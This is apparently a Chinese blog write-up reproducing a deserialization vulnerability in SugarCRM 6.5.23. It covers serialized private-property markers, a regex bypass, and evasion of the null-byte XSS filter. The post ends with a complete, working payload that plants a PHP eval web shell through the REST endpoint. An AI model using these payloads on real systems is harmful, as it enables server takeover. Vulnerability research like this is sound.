sugarcrm_dev-6.5.23 反序列化注入分析(关于私有属性变量的标志)
这都是很早之前爆出的一个漏洞了。(http://bobao.360.cn/learning/detail/3020.html)
当时只是去研究了一下weakup()的利用,而没有实际构造exp测试这套cms的漏洞,后来在复现的时候在构造反序列化字符中的私有属性变量时,遇到了些问题,故此记录一下。
在序列化字符串中,涉及到私有属性和受保护属性时,在序列化字符中会出现%00用以标明。如下:
<?php class test { protected $file = 'sss.php'; public function __destruct(){ var_dump($this->file); echo "__destruct !<br />"; include $this->file; } function __set($property_name, $value) { $this->$property_name = $value; } public function __wakeup(){ echo "__wakeup !<br />"; } } $r = new test(); $r->file = '../123'; var_dump(serialize($r)); echo urlencode(serialize($r)); echo "<br />"; var_dump($_GET['file']); unserialize($_GET['file']); ?>
由于我里面有__set()魔术方法,所以才能更改protected 变量file的值。不然在直接更改file变量的值时会报错。
http://127.0.0.1:880/sugarcrm_dev-6.5.23/12.php?file=O%3A4%3A%22test%22%3A1%3A%7Bs%3A7%3A%22%00%2a%00file%22%3Bs%3A6%3A%22..%2f123%22%3B%7D
我们回到这套cms。
首先,在 service/core/REST/SugarRestSerialize.php中有个server()函数,涉及到了反序列化操作。
并且$_REQUEST['method']和$_REQUEST['rest_data']两个变量我们可控,跟进sugar_unserialize()函数
发现这个正则过滤得有问题,我们可以在序列化字符串中的对象长度前加上一个 + 号,这样同样是能够反序列化成功的。
同时,在文件include/SugarCache/SugarCacheFile.php中,
可以看到__destruct()函数中,有个sugar_file_put_contents()函数,跟进,
发现并没做什么特殊的处理,可以直接写文件。这里由于file_put_contents()函数里面的参数是protected 属性的,所以需要注意构造反序列化字符串。
在看看漏洞触发点:/service/v4/rest.php
在这里就调用了我们的漏洞函数server()了,但是我直接传入序列化字符,发现其中的%00会被其中的一个检测xss的函数过滤掉,
function securexss($value) { if(is_array($value)){ $new = array(); foreach($value as $key=>$val){ $new[$key] = securexss($val); } return $new; } static $xss_cleanup= array(""" => "&", '"' =>'"', "'" => ''' , '<' =>'<' , '>'=>'>'); $value = preg_replace(array('/javascript:/i', '/\0/'), array('java script:', ''), $value); $value = preg_replace('/javascript:/i', 'java script:', $value); return str_replace(array_keys($xss_cleanup), array_values($xss_cleanup), $value); }
所以直接构造常规的序列化字符串是不行的。这里需要稍微改变一下序列化字符串中的值。
我们知道,对于十六进制形式的字符串,可以用%、\x、0x这些形式表示,而对于之前序列化字符串中标识私有属性变量的%00,也就是十六进制表示的00,就可以用\00标识,但是直接传入的话,在进行反序列化的时候php是不认的,需要把表示私有属性变量名称的 s 换成 S,(php序列化详情参考:http://www.neatstudio.com/show-161-1.shtml)看下面的测试脚本:
<?php var_dump(unserialize(urldecode('O:%2b14:"SugarCacheFile":3:{S:17:"%5c00*%5c00_cacheFileName";s:15:"../custom/5.php";S:16:"%5c00*%5c00_cacheChanged";b:1;S:14:"%5c00*%5c00_localStore";a:1:{i:0;s:4:"1234";}}')));//S s echo '<br/>'; var_dump(unserialize(urldecode('O:%2b14:"SugarCacheFile":3:{s:17:"%00*%00_cacheFileName";s:15:"../custom/5.php";S:16:"%00*%00_cacheChanged";b:1;S:14:"%00*%00_localStore";a:1:{i:0;s:4:"1234";}}'))); echo '<br/>'; var_dump(unserialize(urldecode('O:4:"test":2:{s:7:"%5c00*%5c00file";s:6:"../123";s:4:"%5c00*%5c00a";s:3:"123";}'))); echo '<br/>'; var_dump(unserialize(urldecode('O:4:"test":2:{S:7:"%00*%00file";s:6:"../123";s:4:"%00*%00a";s:3:"123";}'))); echo '<br/>'; var_dump(urlencode(serialize(unserialize(urldecode('O:4:"test":2:{S:7:"%5c00*%5c00file";s:6:"../123";S:4:"%5c00*%5c00a";s:3:"123";}'))))); echo '<br/>'; ?>
可以看到,换成 S 的序列化字符串被成功反序列化。
所以,最后我们构造序列化字符串:
method=login&input_type=Serialize&rest_data=O%3A%2B14%3A%22SugarCacheFile%22%3A23%3A%7BS%3A17%3A%22%5C00%2A%5C00_cacheFileName%22%3Bs%3A15%3A%22..%2Fcustom%2F1.php%22%3BS%3A16%3A%22%5C00%2A%5C00_cacheChanged%22%3Bb%3A1%3BS%3A14%3A%22%5C00%2A%5C00_localStore%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A29%3A%22%3C%3Fphp%2Beval%28%24_POST%5B%27HHH%27%5D%29%3B%2B%3F%3E%22%3B%7D%7D
成功写入。
浙公网安备 33010602011771号